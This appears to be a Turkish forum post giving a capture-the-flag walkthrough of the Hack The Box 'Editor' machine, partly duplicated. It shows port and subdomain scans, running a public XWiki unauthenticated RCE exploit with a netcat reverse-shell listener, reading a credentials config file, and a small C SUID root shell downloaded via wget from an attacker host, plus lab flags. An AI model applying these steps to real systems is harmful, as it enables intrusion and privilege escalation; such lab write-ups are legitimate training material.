- Katılım
- 2 Ocak 2026
- Mesajlar
- 17
- Tepkime puanı
- 26
- Puan
- 13
Selamlar, bugün Hack The Box – Machine kategorisinde yer alan Editor makinesini çözüyoruz.
Önce IP’yi aldık, klasik nmap taramasıyla başlıyoruz:

Açık portlar:
Tarayıcıdan siteyi açtık, şöyle bir kurcaladık. Sonra dizin taraması yaptık (ufak keşif):

/assets dizini var ama 403 dönüyor. Buradan sonra subdomain bakıyoruz

wiki.editor.htb bulundu.
Wiki’ye girince:


CVE:
bu sürümde bulunan CVE-2025–24893 açığı kullanacağız, github sayfasını inceleyeceğiz. “https://github.com/dollarboysushil/CVE-2025-24893-XWiki-Unauthenticated-RCE-Exploit-POC” bu yüzden git clone ile makineme çekiyorum.

burada arkadaşlar istenilen bilgileri ekteki gibi dolduracağız.

Exploit çalışırken:
Bundan sonra shellimizi almış olmamız lazım.

/home altına bakıyoruz, oliver kullanıcısı var ama direkt geçemiyoruz. Bu yüzden içeride gezinip bir kullanıcı adı şifre bulmamız lazım. xwiki konfigürasyon dosyalarında temel yollar vardır, şu yolumuzu kullanacağız. cat /etc/xwiki/hibernate.cfg.xm
ve okuduğumuz dosyanın içinde beklediğimiz gibi user
ass buluyoruz. bu bulduğumuz şifreyle terminalden giriş denediğimizde yanlış dedi, fakat başta yaptığımız nmap taramasında ssh portununda açık olduğunu gördük, ssh a bağlanmaya çalışacağız.

evet aldığımız şifre ile ssh bağlantımızı sağladık.
User Flag: 727239c9ec14563570e6b0a1fb3727a0
Burda elimizdeki şifreyle sudo almayı denedik ama olmadı sistemde çalıştırıldığında root yetkisi getiren dosyaları incelerken gözümüze /var/tmp/nvme çarptı, buradan ilerleyebiliriz. Bu dosya üzerinde yoğunlaştık fakat beklediğimiz sonucu alamadık. burada fazlasıyla görünen netdataya bakacağız. https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93 araştırırken böyle bir kaynağa denk geldik, anlatılanları uygulayalım.
Bu zafiyetten yararlanmak için C ile küçük bir SUID root shell yazıyoruz
(itiraf: burada yapay zekadan destek aldım
):
Derleme & Taşıma
Bu dosyamızı tam derlememiz için asıl makinemizde nano ile derleyip gcc çalıştıracağız.,
Kendi makinemizde derliyoruz:
Çalıştırıyoruz…

ROOT GELDİ.

FLAG: 6af7dc84e8b657006f6305167184c1a0
Keşif (Enumeration)
Önce IP’yi aldık, klasik nmap taramasıyla başlıyoruz:
nmap -sC -sV -p- <IP>

Açık portlar:
- 22 → SSH
- 80 → HTTP
- 8080 → HTTP Alternate
<IP> editor.htb
Web İncelemesi
Tarayıcıdan siteyi açtık, şöyle bir kurcaladık. Sonra dizin taraması yaptık (ufak keşif):
ffuf -u http://editor.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302

/assets dizini var ama 403 dönüyor. Buradan sonra subdomain bakıyoruz
ffuf -u http://editor.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.editor.htb" -fs 631 -ac

wiki.editor.htb bulundu.
XWiki & CVE Keşfi
Wiki’ye girince:
- robots.txt dolu
- Footer’da sürüm bilgisi gözümüze çarpıyor:

Biraz araştırınca bu sürümde Unauthenticated RCE olduğunu görüyoruzXWiki Debian 15.10.8
CVE:
CVE-2025-24893
bu sürümde bulunan CVE-2025–24893 açığı kullanacağız, github sayfasını inceleyeceğiz. “https://github.com/dollarboysushil/CVE-2025-24893-XWiki-Unauthenticated-RCE-Exploit-POC” bu yüzden git clone ile makineme çekiyorum.
git clone https://github.com/dollarboysushil/CVE-2025-24893-XWiki-Unauthenticated-RCE-Exploit-POC
cd CVE-2025-24893-XWiki-Unauthenticated-RCE-Exploit-POC
python3 exploit.py

burada arkadaşlar istenilen bilgileri ekteki gibi dolduracağız.

Reverse Shell
Exploit çalışırken:
- URL → hedef site
- IP → tun0 IP’n
- Port → 4444
nc -lvnp 4444
Bundan sonra shellimizi almış olmamız lazım.

User Flag
/home altına bakıyoruz, oliver kullanıcısı var ama direkt geçemiyoruz. Bu yüzden içeride gezinip bir kullanıcı adı şifre bulmamız lazım. xwiki konfigürasyon dosyalarında temel yollar vardır, şu yolumuzu kullanacağız. cat /etc/xwiki/hibernate.cfg.xm
cat /etc/xwiki/hibernate.cfg.xml
ve okuduğumuz dosyanın içinde beklediğimiz gibi user

evet aldığımız şifre ile ssh bağlantımızı sağladık.
oliver@editor:$ ls
user.txt
oliver@editor:$ cat user.txt
727239c9ec14563570e6b0a1fb3727a0
User Flag: 727239c9ec14563570e6b0a1fb3727a0
Privilege Escalation (Root)
Burda elimizdeki şifreyle sudo almayı denedik ama olmadı sistemde çalıştırıldığında root yetkisi getiren dosyaları incelerken gözümüze /var/tmp/nvme çarptı, buradan ilerleyebiliriz. Bu dosya üzerinde yoğunlaştık fakat beklediğimiz sonucu alamadık. burada fazlasıyla görünen netdataya bakacağız. https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93 araştırırken böyle bir kaynağa denk geldik, anlatılanları uygulayalım.Bu zafiyetten yararlanmak için C ile küçük bir SUID root shell yazıyoruz
(itiraf: burada yapay zekadan destek aldım
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
// Gerçek ve etkili (UID/GID) yetkilerini root (0) olarak ayarla
setuid(0);
setgid(0);
// Root yetkisiyle bash'i çalıştır
// -p bayrağı, SUID yetkilerinin korunmasını sağlar
system("/bin/bash -p");
return 0;
}
Bu dosyamızı tam derlememiz için asıl makinemizde nano ile derleyip gcc çalıştıracağız.,
Kendi makinemizde derliyoruz:
Mini server açıyoruz:
gcc root.c -o root
Hedef makinede çekiyoruz:python3 -m http.server 8000
wget http://<ATTACKER_IP>:8000/root,
chmod +x root
Çalıştırıyoruz…

